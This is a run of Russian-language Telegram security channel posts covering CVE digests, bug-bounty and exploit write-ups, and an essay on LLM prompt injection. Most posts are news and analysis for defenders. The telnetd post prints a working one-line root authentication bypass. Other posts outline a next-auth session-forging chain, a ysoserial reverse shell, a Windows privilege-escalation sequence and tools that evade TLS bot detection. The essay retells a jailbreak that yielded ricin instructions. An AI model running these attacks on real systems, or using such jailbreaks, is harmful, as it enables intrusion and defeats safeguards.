Forwarded from Похек AI (Сергей Зыбнев)
Почему ваша нейросеть всегда предаст вас ради вежливого хакера с плохими намерениями? ©️ Артём Семёнов
#ai #ml #llm #injection #red_team
♾️ А что в итоге?♾️
На днях школьник из Небраски обошёл защиту модели стоимостью в сто миллионов долларов, описав инъекцию в нестандартной кодировке. Потом добавил смайлик и модель, как ни удивительно, вершина гения, цифровой оракул – выдала инструкцию по синтезу рицина, потому что смайлик показался ей «дружелюбным».
Может мы что-то делаем не так, может мы пытаемся лечить ножевое ранение подорожником, ища баги в системе, которая состоит из них целиком, и ей нравится это. Возникает вопрос – а в хакерах ли дело? Но кажется нет – ведь мы имеем дело с архитектурой трансформера, линейной алгеброй и энтропией.
Это может напоминать кому-то кейсы ведения диалогов с вещами. Они могут нагреваться, но никак не слушать нас – это не их задача, не их функция и уж тем более не то, за чем они нам нужны. Они просто выполняют свою функцию.
LLM — это тот же тостер, только с миллиардом параметров. И в этой статье я покажу вам, почему его спираль нагрева нельзя отключить. Добро пожаловать внутрь Белого Ящика, из которого нет выхода. Чтобы понять природу этих уязвимостей, нам придется спуститься на уровень ниже — туда, где заканчивается маркетинг и начинается математика. Назовем это... Архитектурный фатализм
🔗 Рекомендую к прочтению
🌚 @poxek_ai
#ai #ml #llm #injection #red_team
Прошло уже больше 3 лет с момента появления первой промпт-инъекции. Кажется, что за это время было сделано всё возможное, были потрачены бюджеты небольших стран на Red Teaming больших моделей типа Claude и OpenAI. Мы обернули модели в такие толстые талмуды системных промптов, навыравнивали всё что можно и теперь это может быть похожим на сотрудников паспортного стола в обеденный перерыв.
На днях школьник из Небраски обошёл защиту модели стоимостью в сто миллионов долларов, описав инъекцию в нестандартной кодировке. Потом добавил смайлик и модель, как ни удивительно, вершина гения, цифровой оракул – выдала инструкцию по синтезу рицина, потому что смайлик показался ей «дружелюбным».
Может мы что-то делаем не так, может мы пытаемся лечить ножевое ранение подорожником, ища баги в системе, которая состоит из них целиком, и ей нравится это. Возникает вопрос – а в хакерах ли дело? Но кажется нет – ведь мы имеем дело с архитектурой трансформера, линейной алгеброй и энтропией.
Это может напоминать кому-то кейсы ведения диалогов с вещами. Они могут нагреваться, но никак не слушать нас – это не их задача, не их функция и уж тем более не то, за чем они нам нужны. Они просто выполняют свою функцию.
LLM — это тот же тостер, только с миллиардом параметров. И в этой статье я покажу вам, почему его спираль нагрева нельзя отключить. Добро пожаловать внутрь Белого Ящика, из которого нет выхода. Чтобы понять природу этих уязвимостей, нам придется спуститься на уровень ниже — туда, где заканчивается маркетинг и начинается математика. Назовем это... Архитектурный фатализм
Please open Telegram to view this post
VIEW IN TELEGRAM
Закрепление в Next.js через генерацию сессионных кук
#NextJS #next #react #js #React2Shell #RCE #AuthJS
Исследователь Embrace The Red продемонстрировал технику закрепления в next-auth (Auth.js), позволяющую генерировать валидные сессии в обход Identity Provider и обеспечивать персистентность даже при регулярной ротации OAuth-кредов. В начале цепочки используется небезызвестная React2Shell бага.
♾️ Техническая суть♾️
В режиме JWT архитектура next-auth опирается на Stateless JWE (JSON Web Encryption). Валидность сессии определяется исключительно возможностью расшифровать токен на сервере.
Key Encryption Key генерируется через алгоритм HKDF, в качестве входных данных используя IKM (Input Keying Material, переменная окружения
Утечка
♾️ Типичный пайплайн атаки♾️
▪️ Атакующий эксплуатирует React2Shell и получает RCE.
▪️ Дампит переменные окружения (env) и забирает
▪️ С помощью скрипта на базе кода самой либы генерирует подписанную куку next-auth.session-token с нужными клеймами (Admin, UserID и т.д.).
▪️ Подставляет куку в браузер и обеспечивает персистентность, даже если OAuth-креды сброшены.
♾️ Защита♾️
▪️ Обязательная ротация
▪️ Инвалидация всех активных сессий после ротации.
▪️ Мониторинг дубликатов JTI (JWT ID) с разных IP-адресов.
▪️ Детект аномальных полей в сессиях (странные User-Agent и т.п.).
🔗 Источник
🔗 GitHub
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#NextJS #next #react #js #React2Shell #RCE #AuthJS
Исследователь Embrace The Red продемонстрировал технику закрепления в next-auth (Auth.js), позволяющую генерировать валидные сессии в обход Identity Provider и обеспечивать персистентность даже при регулярной ротации OAuth-кредов. В начале цепочки используется небезызвестная React2Shell бага.
В режиме JWT архитектура next-auth опирается на Stateless JWE (JSON Web Encryption). Валидность сессии определяется исключительно возможностью расшифровать токен на сервере.
Key Encryption Key генерируется через алгоритм HKDF, в качестве входных данных используя IKM (Input Keying Material, переменная окружения
NEXTAUTH_SECRET) и Salt — дефолтное или кастомное имя куки (например, next-auth.session-token).Утечка
NEXTAUTH_SECRET позволяет атакующему локально воспроизвести процесс HKDF и зашифровать произвольный JSON-пейлоад, подменив sub, email, iat, exp. Сервер примет такой JWE-контейнер как легитимный, поскольку криптографическая целостность соблюдена, а сверка с базой данных или OAuth-провайдером для расшифрованных сессий архитектурно не требуется.NEXTAUTH_SECRET.NEXTAUTH_SECRET и AUTH_SECRET при любом подозрении на компрометацию.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8 3
Ловите вкусные баги прошедшей недели
#CVE #RCE #Firefox #NetSNMP #Linux #OpenCode #NodeTar #zlib
➡️ Node-Tar (CVE-2026-23745, CVSS 8.2) — path traversal в популярной библиотеке node-tar для работы с TAR-архивами. Уязвимость кроется в недостаточной санитизации путей для жестких ссылок и symlink даже при включенной по умолчанию защите preservePaths: false. Библиотека использует path.resolve() без проверки выхода за пределы корневой директории распаковки, что позволяет через вредоносный архив перезаписывать произвольные файлы в системе или создавать ссылки на нужные для атаки пути. Может привести к RCE в CI/CD пайплайнах. Есть PoC.
➡️ OpenCode (CVE-2026-22812, CVSS 8.8) — RCE в open-source AI-агенте для написания кода. Уязвимость возникает из-за автоматического запуска HTTP-сервера без аутентификации. Из-за некорректных политик CORS любой веб-сайт может отправить запрос к локальному API агента, что позволяет удаленному атакующему выполнить произвольные shell-команды с правами текущего пользователя. Есть PoC.
➡️ Firefox + Thunderbird (CVE-2026-0881, CVSS 10.0) — sandbox escape в компоненте Messaging System браузера Firefox и клиента Thunderbird. Возникает из-за недостаточного контроля доступа при обработке сообщений, передаваемых от изолированного дочернего процесса к привилегированному родительскому. Позволяет скомпрометированному процессу рендеринга отправить специально сформированный запрос, который родительский процесс ошибочно исполнит, тем самым позволив выйти за пределы песочницы.
➡️ Net-SNMP (CVE-2025-68615, CVSS 10.0) — RCE в пакете net-snmp для работы с протоколом SNMP в Linux/Unix системах. Уязвимость возникает при обработке специально сформированных SNMP-пакетов (trap-сообщений) на UDP-порту 162. Демон некорректно валидирует длину пользовательских данных перед копированием, что позволяет удаленному атакующему вызвать stack buffer overflow и добиться RCE.
➡️ zlib (CVE-2026-22184, CVSS 10.0) — переполнение буфера в утилите untgz библиотеки zlib. Появляется из-за небезопасного копирования слишком длинного имени файла в статический буфер. Если атакующий передаст имя файла длиннее 1024 байт, происходит out-of-bounds write. Это ведет к порче памяти и может вызвать DoS или, в зависимости от компилятора и разметки памяти, RCE.
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#CVE #RCE #Firefox #NetSNMP #Linux #OpenCode #NodeTar #zlib
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👾3 1
#RCE #java #ysoserial #springboot
Ребята из Principle Breach выкатили свежий writeup с bug bounty, и это база — Java deserialization на API Gateway, который должен был защищать инфраструктуру.
Разведка началась с пассивного сбора доменов через subfinder и активной проверки доступности веб-узлов (
httpx -sc). В результате был обнаружен публично доступный gateway-internal[.]target[.]com (HTTP 200) с кастомным management-интерфейсом API-шлюза. Логин-страница раскрывала версию продукта (REDACTED API Gateway v1.2.5).Параллельно выявлены смежные окружения:
dev-v2[.]target[.]com (403), stg[.]target[.]com (401), metrics[.]target[.]com (401), раскрывшие карту инфраструктуры.gateway-internal.target.comJSESSIONID, Whitelabel Error Page ==> Java во всей красе/api/v1/cluster/sync отвечает без аутентификацииCommonsCollections6 через ysoserial ==> reverse shellСуть бага: кластерная синхронизация между нодами принимала произвольные serialized объекты без auth. Ошибка ClassCastException прилетала уже после исполнения payload'а.
Что пошло не так: Админка торчит наружу > Внутренние эндпоинты без auth > Подробные сообщения об ошибках сливают структуру классов > Устаревшие зависимости с известными gadget chains
Изоляция - админ-интерфейсы API-шлюзов должны быть доступны только из корпсети или с VPN, а не напрямую из интернета, даже если есть auth-форма.
Минимизация экспозиции dev/stg-окружений - временные стенды регулярно увеличивают поверхность атаки и часто содержат отладочные эндпоинты.
Сокрытие версий ПО на внешних интерфейсах - эта информация упрощает CVE-таргетинг и diff-анализ патчей.
Please open Telegram to view this post
VIEW IN TELEGRAM
VoidLink: техническое подтверждение начала эры AI-сгенерированных malware-фреймворков
#APT #malware #AI #LLM #SSD #dev
VoidLink — первый задокументированный пример вредоносного фреймворка, который демонстрирует не просто использование искусственного интеллекта в отдельных фазах разработки, а полноценную AI-ориентированную инженерную модель, охватывающую проектирование, архитектуру, кодинг, тестирование и итеративное развитие. В отличие от ранних случаев, где ИИ применялся для генерации фрагментов кода или примитивных вредоносных скриптов, VoidLink представляет собой целостную платформу, сравнимую по сложности с продуктами высокоресурсных APT-групп.
Ключевая опасность VoidLink заключается не только в его функциональности, но и в том, как именно он был создан. Использование Spec Driven Development (SDD) в сочетании с agent-based AI-IDE радикально сокращает порог входа и временные затраты на создание malware-платформ уровня APT. То, что ранее требовало команд разработчиков, менеджеров, тестировщиков и инфраструктурных инженеров, теперь может быть выполнено одним оператором, выступающим в роли «product owner» для ИИ.
🔗 blog.poxek - ya cdn обещал ожить и показывать картинки
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#APT #malware #AI #LLM #SSD #dev
VoidLink — первый задокументированный пример вредоносного фреймворка, который демонстрирует не просто использование искусственного интеллекта в отдельных фазах разработки, а полноценную AI-ориентированную инженерную модель, охватывающую проектирование, архитектуру, кодинг, тестирование и итеративное развитие. В отличие от ранних случаев, где ИИ применялся для генерации фрагментов кода или примитивных вредоносных скриптов, VoidLink представляет собой целостную платформу, сравнимую по сложности с продуктами высокоресурсных APT-групп.
Ключевая опасность VoidLink заключается не только в его функциональности, но и в том, как именно он был создан. Использование Spec Driven Development (SDD) в сочетании с agent-based AI-IDE радикально сокращает порог входа и временные затраты на создание malware-платформ уровня APT. То, что ранее требовало команд разработчиков, менеджеров, тестировщиков и инфраструктурных инженеров, теперь может быть выполнено одним оператором, выступающим в роли «product owner» для ИИ.
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡6👾3
Docker Hardened Images (DHI) вышел в Open Source под лицензией Apache 2.0
#Docker #OpenSource #DHI #SecOps #appsec #devsecops
♾️ CVE "из коробки"♾️
Стандартные образы (
▪️ Тратить ресурсы на сборку и поддержку собственных Golden Images.
▪️ Покупать доступ к hardened-образам у сторонних вендоров, попадая на vendor-lock.
Docker решает проблему системно, делая безопасный фундамент стандартом. Компания заявляет о Near-zero CVEs и гарантирует честный скоринг уязвимостей — без их скрытия ради зеленых отчетов сканеров.
♾️ Смысл рождения DHI♾️
Docker Hardened Images — это огромная коллекция из образов, реализующих концепцию secure-by-default. Они построены на distroless-архитектуре: из среды выполнения удалены оболочки, пакетные менеджеры и лишние бинарные файлы. Это не просто чистые образы, а прозрачная цепочка поставок: каждый образ имеет подписанный SBOM и подтверждение происхождения уровня SLSA Build Level 3.
♾️ Миграция♾️
Переход на DHI максимально прост. Поскольку образы базируются на стандартных Alpine и Debian, сохраняется высокая совместимость на уровне библиотек.
Миграция часто сводится к замене одной строки в Dockerfile:
▪️ Было:
▪️ Стало:
Это позволяет мгновенно отсечь большинство CVE без поломки зависимостей и переписывания кода. Но лучше проверяйте на дев стейдже, иначе есть вероятность с прогиба сломать прод))
Образы уже доступны на Docker Hub. Доп инфа:
https://www.docker.com/blog/docker-hardened-images-for-every-developer/
https://www.docker.com/products/hardened-images/
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#Docker #OpenSource #DHI #SecOps #appsec #devsecops
Стандартные образы (
nginx, apache, pytorch и др.) «из коробки» часто содержат сотни уязвимостей и избыточных системных библиотек, увеличивающих поверхность атаки. Из-за этого ранее у команд было два пути:Docker решает проблему системно, делая безопасный фундамент стандартом. Компания заявляет о Near-zero CVEs и гарантирует честный скоринг уязвимостей — без их скрытия ради зеленых отчетов сканеров.
Docker Hardened Images — это огромная коллекция из образов, реализующих концепцию secure-by-default. Они построены на distroless-архитектуре: из среды выполнения удалены оболочки, пакетные менеджеры и лишние бинарные файлы. Это не просто чистые образы, а прозрачная цепочка поставок: каждый образ имеет подписанный SBOM и подтверждение происхождения уровня SLSA Build Level 3.
Переход на DHI максимально прост. Поскольку образы базируются на стандартных Alpine и Debian, сохраняется высокая совместимость на уровне библиотек.
Миграция часто сводится к замене одной строки в Dockerfile:
FROM node:24FROM dhi.io/node:24Это позволяет мгновенно отсечь большинство CVE без поломки зависимостей и переписывания кода. Но лучше проверяйте на дев стейдже, иначе есть вероятность с прогиба сломать прод))
Образы уже доступны на Docker Hub. Доп инфа:
https://www.docker.com/blog/docker-hardened-images-for-every-developer/
https://www.docker.com/products/hardened-images/
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19 2 1
Ловите вкусные баги прошедшей недели
#CVE #RCE #Microsoft #XSS #Oracle #RCE #Microsoft #Apache #GitLab #Gitea
➡️ Oracle (CVE-2026-21962, CVSS 10.0) — RCE в Oracle HTTP Server и плагине WebLogic Server Proxy для Apache и IIS. Баг кроется в некорректной аутентификации и управлении доступом на специфических служебных эндпоинтах (/weblogic/, /wl proxy/ и др.). Атакующий может отправить HTTP-запрос с внедренными Base64-кодированными командами в заголовках чтобы добиться RCE на сервере без авторизации. Вектор позволяет полностью скомпрометировать систему и получить доступ ко всем данным. Есть PoC.
➡️ Microsoft Account (CVE-2026-21264, CVSS 9.3) — критический XSS-баг в централизованном сервисе аутентификации Microsoft Account. Некорректная нейтрализация входных данных при генерации веб-страницы позволяет неаутентифицированному атакующему внедрить произвольный скрипт. Для этого необходимо убедить жертву перейти по вредоносной ссылке. Баг позволяет похищать сессионные токены и проводить спуфинг-атаки, полностью подменяя интерфейс входа для перехвата учетных данных.
➡️ Gitea (CVE-2026-20750, CVSS 9.1) — некорректный контроль доступа при проверке прав собственности на проекты организаций. Логическая ошибка в API или контроллерах (IDOR) позволяет атакующему, имеющему права write access в проекты цели, манипулировать проектами чужой организации, если он знает их идентификаторы.
➡️ GitLab — на прошлой неделе стало известно о нескольких CVE, позволяющих обходить 2FA и производить DoS-атаки: CVE-2025-13927 (DoS через Jira Connect, CVSS 7.5), CVE-2025-13928 (DoS через Releases API, CVSS 7.5), CVE-2026-0723 (обход 2FA, CVSS 7.4), CVE-2025-13335 (бесконечный цикл в Wiki, CVSS 6.5 + PoC), CVE-2026-1102 (DoS через SSH-аутентификацию, CVSS 5.3).
➡️ Apache Solr (CVE-2026-22022, CVSS 8.2) — недостаточная валидацией входных данных в RuleBasedAuthorizationPlugin. Проявляется в конфигурациях, где заданы множественные роли и специфические разрешения, но отсутствует явно прописанное правило all. Это позволяет злоумышленнику, отправляющему нефильтрованные HTTP-запросы напрямую к Solr, обходить ограничения доступа к определенным API, тем самым эксплуатируя дыры в правилах сопоставления разрешений.
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#CVE #RCE #Microsoft #XSS #Oracle #RCE #Microsoft #Apache #GitLab #Gitea
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from HaHacking
В этот раз: обход аутентификации
root! С публичным PoCCVE-2026-24061 — CVSS (v3) ~9.8, Improper Neutralization of Argument Delimiters in a Command / Argument Injection
telnetd: появилась тут и была с нами 10+ лет (GNU InetUtils v1.9.3 – v2.7 / 2015 – 2025 гг.);USER, чтобы починить автовход для случаев, когда не была доступна аутентификация Kerberos.Сервер
telnetd обращается к /usr/bin/login (обычно работает из-под root)USER – вместо %U:...
char *login_invocation =
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
...
...
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...
/usr/bin/login есть флаг -f — пропустить аутентификацию! (например, для автовхода getty)Ему даже можно передать username / UID пользователя:
login [-p] [-s shell] [-h host] [-H] [[-f] username|UID]; // Например, root USER не нормализуется; Возможно поместить туда дополнительные флаги для /usr/bin/logintelnet провести автовход (флаги -a / --login):USER='-f qwqoro' telnet -a 127.0.0.1
@HaHacking
Please open Telegram to view this post
VIEW IN TELEGRAM
AI-агенты в SOC: критический анализ архитектуры, экономики и рисков
#ai #llm #soc #mitre #agents
♾️ TL;DR♾️
AI-агенты в SOC — это не замена аналитиков, а вероятностный интерпретатор поверх существующей инфраструктуры. Статья разбирает: где агенты полезны, где опасны, как атакующий может манипулировать их решениями, и почему будущее — за гибридными архитектурами. Включён маппинг attack surface на MITRE ATT&CK и ATLAS.
♾️ Оглавление♾️
1. Агентные системы как новый слой оркестрации
2. Экономика агентного подхода
3. Безопасность агентных систем как новая зона риска
4. Где агент действительно полезен
5. Почему агентный подход часто путают с “умной автоматизацией”
6. Ограничения агентного подхода в инцидент-респонсе
7. Агент против скриптов: граница эффективности
8. Интеграции, API и операционные риски
9. Как агент меняет роль аналитика
10. Agentic SOC будущего
11. Attack Surface AI-агента: маппинг на MITRE ATT&CK / ATLAS
🔗 blog.poxek
p.s. я перенёс сайт с NextJS + собственная VPS на Hugo + GitHub Pages, если найдете баги, то можете заводить исусесы
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#ai #llm #soc #mitre #agents
AI-агенты в SOC — это не замена аналитиков, а вероятностный интерпретатор поверх существующей инфраструктуры. Статья разбирает: где агенты полезны, где опасны, как атакующий может манипулировать их решениями, и почему будущее — за гибридными архитектурами. Включён маппинг attack surface на MITRE ATT&CK и ATLAS.
1. Агентные системы как новый слой оркестрации
2. Экономика агентного подхода
3. Безопасность агентных систем как новая зона риска
4. Где агент действительно полезен
5. Почему агентный подход часто путают с “умной автоматизацией”
6. Ограничения агентного подхода в инцидент-респонсе
7. Агент против скриптов: граница эффективности
8. Интеграции, API и операционные риски
9. Как агент меняет роль аналитика
10. Agentic SOC будущего
11. Attack Surface AI-агента: маппинг на MITRE ATT&CK / ATLAS
p.s. я перенёс сайт с NextJS + собственная VPS на Hugo + GitHub Pages, если найдете баги, то можете заводить исусесы
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12 4
DoS в React Server Components: CVE-2026-23864 кладёт ваш Next.js без авторизации
#DoS #react #RSC #CVE #nextjs #frontend
Помните CVE-2025-55182 с RCE в RSC? Так вот, фиксы оказались неполными. Исследователи из Winfunc Research, Flatt Security и Tencent нашли новые векторы DoS в React Server Components, которые позволяют уронить сервер специально сформированным HTTP-запросом — без какой-либо аутентификации. CVSS 7.5, атака тривиальная.
Суть: при обработке Server Function вызовов возникает memory exhaustion или бесконечный loop. Результат — OOM, зависание процесса, высокая нагрузка на CPU. Атакующему достаточно отправить malformed POST на любой RSC-эндпоинт.
♾️ Уязвимы♾️
▪️ React 19.0.0–19.2.3
▪️ Next.js 13.x–16.x (13/14 — без патча вообще!)
▪️
♾️ Чек версии♾️
♾️ Патчи♾️
▪️ React: 19.0.4, 19.1.5, 19.2.4
▪️ Next.js: 15.0.8, 15.1.12, 15.2.9, 15.3.9, 15.4.11, 15.5.10, 16.0.11, 16.1.5
Если сидите на Next.js 13/14 — вам официально не повезло, патчей не будет. Vercel развернул WAF-правила для своих клиентов, но это временный костыль.
🔗 Vercel Advisory | GitHub GHSA
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#DoS #react #RSC #CVE #nextjs #frontend
Помните CVE-2025-55182 с RCE в RSC? Так вот, фиксы оказались неполными. Исследователи из Winfunc Research, Flatt Security и Tencent нашли новые векторы DoS в React Server Components, которые позволяют уронить сервер специально сформированным HTTP-запросом — без какой-либо аутентификации. CVSS 7.5, атака тривиальная.
Суть: при обработке Server Function вызовов возникает memory exhaustion или бесконечный loop. Результат — OOM, зависание процесса, высокая нагрузка на CPU. Атакующему достаточно отправить malformed POST на любой RSC-эндпоинт.
react-router, waku, @parcel/rsc, @vite/rsc-plugin, rwsdk# Проверка package.json проекта
cat package.json | grep -E '"(next|react-server-dom)"'
# Или через npm
npm ls next react-server-dom-webpack 2>/dev/null
Если сидите на Next.js 13/14 — вам официально не повезло, патчей не будет. Vercel развернул WAF-правила для своих клиентов, но это временный костыль.
Please open Telegram to view this post
VIEW IN TELEGRAM
9 обходов Windows Administrator Protection
#LPE #Windows11 #UAC #kernel #ProjectZero
James Forshaw из Google Project Zero разобрал Administrator Protection (AP) - новую фичу Windows 11 25H2, которую Microsoft позиционирует как секьюрную замену UAC. Спойлер: он нашёл 9 способов тихо получить админские права. Хорошая новость - Microsoft всё исправила ещё до релиза (KB5067036).
♾️ Как работает AP♾️
AP изолирует админские права в отдельном shadow administrator account. В отличие от классического UAC со split-token на одном аккаунте, AP создаёт отдельный сеанс входа (уникальный AuthenticationId/LUID) при каждого повышения прав. Это должно исключить перехват контекста между режимами и убрать auto-elevation для Microsoft-бинарников.
Самый интересный байпасс Forshaw детально описал атаку через перехват DOS Device Directory:
▪️ Запускаем процесс shadow admin через RAiProcessRunOnce → выполнит runonce.exe с диска C:
▪️ Открываем дескриптор процесса до обращения к файлам, запрашиваем primary token
▪️ Конвертируем в impersonation token с уровнем SecurityIdentification
▪️ Инициируем создание DOS-директории через NtOpenDirectoryObject к ??
▪️ Из-за Identification level ядро назначает владельцем юзера из primary token, а не админа
▪️ Создаём симлинк C: → подконтрольный путь
▪️ Процесс загружает пейлоад с правами админа
Ирония в том, что этот баг существовал годами, но стал эксплуатируемым именно благодаря AP — раньше не было сценария, где ограниченный юзер мог выполнить код до создания первого админского процесса.
🔗 Источник
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#LPE #Windows11 #UAC #kernel #ProjectZero
James Forshaw из Google Project Zero разобрал Administrator Protection (AP) - новую фичу Windows 11 25H2, которую Microsoft позиционирует как секьюрную замену UAC. Спойлер: он нашёл 9 способов тихо получить админские права. Хорошая новость - Microsoft всё исправила ещё до релиза (KB5067036).
AP изолирует админские права в отдельном shadow administrator account. В отличие от классического UAC со split-token на одном аккаунте, AP создаёт отдельный сеанс входа (уникальный AuthenticationId/LUID) при каждого повышения прав. Это должно исключить перехват контекста между режимами и убрать auto-elevation для Microsoft-бинарников.
Самый интересный байпасс Forshaw детально описал атаку через перехват DOS Device Directory:
Ирония в том, что этот баг существовал годами, но стал эксплуатируемым именно благодаря AP — раньше не было сценария, где ограниченный юзер мог выполнить код до создания первого админского процесса.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12
Человек, при жизни ставший легендой! Похлопаем 🎉 🐈
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Sachok
Лаборатория Касперского: 67% россиян считают нейросети полностью, либо частично безопасными
«Лаборатория Касперского» провела исследование про ИИ, которое представила на вчерашней ежегодной пресс-конференции для представителей медиа.
Цифры такие:
Большинство к безопасности нейросетей относится лояльно - 67%.
Из числа тех, кто не доверяет безопастности нейросетей, чаще беспокоит возможная кража или утечка данных(этот риск назвали 63%), получение недостоверной или устаревшей информации — 54%, получение информации, которая может навредить здоровью или рабочим процессам — 51%, вероятность зависимости от общения с нейросетью и потеря потребности в общении с людьми — 38%.
Про меры предосторожности с нейросетями:
Подавляющеее большинство(86%) хотя бы иногда соблюдает меры предосторожности во взаимодействии с нейросетями.
63% не делятся конфиденциальными или персональными данными.
53% перепроверяют информацию.
49% не предоставляют доступы к файлам/фотогалерее на своих устройствах.
25% запрещают нейросетям использовать свои переписки для обучения моделей.
21% удаляют свои переписки с чат-ботами.
Владислав Тушканов, руководитель группы исследований технологий машинного обучения в ЛК упомянул и растущий тренд 2026 — ИИ-агентов и риски, связанные с ними, в частности промт инъекции.
@cybersachok
«Лаборатория Касперского» провела исследование про ИИ, которое представила на вчерашней ежегодной пресс-конференции для представителей медиа.
Цифры такие:
Большинство к безопасности нейросетей относится лояльно - 67%.
Из числа тех, кто не доверяет безопастности нейросетей, чаще беспокоит возможная кража или утечка данных(этот риск назвали 63%), получение недостоверной или устаревшей информации — 54%, получение информации, которая может навредить здоровью или рабочим процессам — 51%, вероятность зависимости от общения с нейросетью и потеря потребности в общении с людьми — 38%.
Про меры предосторожности с нейросетями:
Подавляющеее большинство(86%) хотя бы иногда соблюдает меры предосторожности во взаимодействии с нейросетями.
63% не делятся конфиденциальными или персональными данными.
53% перепроверяют информацию.
49% не предоставляют доступы к файлам/фотогалерее на своих устройствах.
25% запрещают нейросетям использовать свои переписки для обучения моделей.
21% удаляют свои переписки с чат-ботами.
Владислав Тушканов, руководитель группы исследований технологий машинного обучения в ЛК упомянул и растущий тренд 2026 — ИИ-агентов и риски, связанные с ними, в частности промт инъекции.
@cybersachok
👾11⚡7🔥5
RCE на современных SoC MediaTek через переполнение кучи
#MediaTek #RCE #Exploit #Hardware #heapb8
Исследователи r0rt1z2 и shomy провели реверсинг проприетарного тулчейна MediaTek и обнаружили в Download Agent v6 (DA2, XML-протокол) критическую уязвимость heapb8 — heap overflow в обработчике USB-передачи файлов. Баг позволяет добиться arbitrary code execution в контексте DA2 на устройствах с современными SoC Dimensity, при успешной эксплуатации — отключить или обойти проверки SLA/DAA. Эксплойт реализован в penumbra.
♾️ Предполагаемые связанные CVE (патч в 2025 году)♾️
▪️ CVE-2025-20656 — out-of-bounds write в Download Agent (DA2 XML), приводящий к локальному повышению привилегий при физическом доступе.
▪️ CVE-2025-20658 — логическая ошибка в DA, также приводящая к out-of-bounds write с аналогичными последствиями.
В новых SoC MediaTek BootROM-эксплойты в значительной степени закрыты или отключены (включая сценарии с USBDL), поэтому heapb8 ориентирован именно на USB-handler второй стадии загрузки (DA2) в XML-стеке DA v6. В результате возникает классический heap overflow, позволяющий получить примитив write-what-where за счет повреждения заголовков соседних чанков в куче.
♾️ Эксплуатация♾️
Эксплоит опирается на особенности малого heap-аллокатора, реализованного в LK (Little Kernel), который MediaTek использует внутри DA2.
▪️ В DA загружается файл (имя и содержимое), под который выделяется буфер размера N.
▪️ При передаче данных по USB DA принимает пакеты без строгой проверки соответствия фактически полученного объема заявленному размеру.
▪️ Переполнение приводит к повреждению заголовка следующего чанка в куче.
▪️ При обработке ошибки DA2 вызывает free() для поврежденного блока, что триггерит классический free-list unlink. Коррупция полей prev/next дает write-what-where.
▪️ Используя этот примитив, атакующий может перезаписать указатель callback-функции в структуре DPC (Deferred Procedure Call) или другие организационные структуры управления, что приводит к RCE с привилегиями DA2.
♾️ Payload♾️
Исследователи загрузили собственный пэйлоад hakujoudai, который:
▪️ устраняет последствия heap-corruption и восстанавливает целостность heap/free-list;
▪️ регистрирует кастомные команды Download Agent;
▪️ дает возврат управления в основной цикл DA в состоянии, позволяющем выполнять дополнительные операции над устройством без стандартных ограничений.
Это обеспечивает полный контроль над DA2-контекстом и дальнейшее управление процессом загрузки.
🔗 Источник
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#MediaTek #RCE #Exploit #Hardware #heapb8
Исследователи r0rt1z2 и shomy провели реверсинг проприетарного тулчейна MediaTek и обнаружили в Download Agent v6 (DA2, XML-протокол) критическую уязвимость heapb8 — heap overflow в обработчике USB-передачи файлов. Баг позволяет добиться arbitrary code execution в контексте DA2 на устройствах с современными SoC Dimensity, при успешной эксплуатации — отключить или обойти проверки SLA/DAA. Эксплойт реализован в penumbra.
В новых SoC MediaTek BootROM-эксплойты в значительной степени закрыты или отключены (включая сценарии с USBDL), поэтому heapb8 ориентирован именно на USB-handler второй стадии загрузки (DA2) в XML-стеке DA v6. В результате возникает классический heap overflow, позволяющий получить примитив write-what-where за счет повреждения заголовков соседних чанков в куче.
Эксплоит опирается на особенности малого heap-аллокатора, реализованного в LK (Little Kernel), который MediaTek использует внутри DA2.
Исследователи загрузили собственный пэйлоад hakujoudai, который:
Это обеспечивает полный контроль над DA2-контекстом и дальнейшее управление процессом загрузки.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👾3 2
This media is not supported in your browser
VIEW IN TELEGRAM
JA4 Fingerprinting: детектим AI-скраперы по TLS-отпечаткам
#TLS #fingerprinting #antibot #scraping
Browser-as-a-Service платформы вроде Browserbase научились подделывать практически всё: User-Agent, JavaScript API, IP через residential proxy. Но есть то, что они не могут фейкнуть без перекомпиляции TLS-стека - handshake.
♾️ Что такое JA4♾️
JA4 - эволюция JA3, созданная FoxIO в 2023. Формат читаемый, не MD5-каша:
Расшифровка: TCP, TLS 1.3, есть SNI, 15 cipher suites, 16 extensions, HTTP/2. Два хеша - ciphers и extensions.
♾️ Почему работает♾️
JA4 сортирует cipher suites и extensions перед хешированием, отсеивает GREASE-значения. Fingerprint стабилен между сессиями одного клиента - но уникален для каждого TLS-стека.
♾️ Fingerprints AI-ботов♾️
➡️ Browserbase:
➡️ Python requests:
➡️ Playwright: использует Chromium, но модифицирует TLS-конфигурацию - extension hash отличается от stock Chrome.
♾️ Обход JA4♾️
Если цель использует JA4 для блокировки - вот рабочие методы обхода:
➡️ Burp Suite
burp-awesome-tls - спуфит TLS fingerprint любого браузера. Работает против Cloudflare, Akamai, DataDome. Установка: JAR → Extender.
Альтернатива: bypass-bot-detection от PortSwigger - мутирует cipher suites для обхода TLS-детекта.
➡️ Python автоматизация
Поддерживает chrome99-chrome136, firefox, safari. Под капотом - curl-impersonate с BoringSSL вместо OpenSSL.
➡️ Go
uTLS - форк стандартной TLS-библиотеки с доступом к ClientHello:
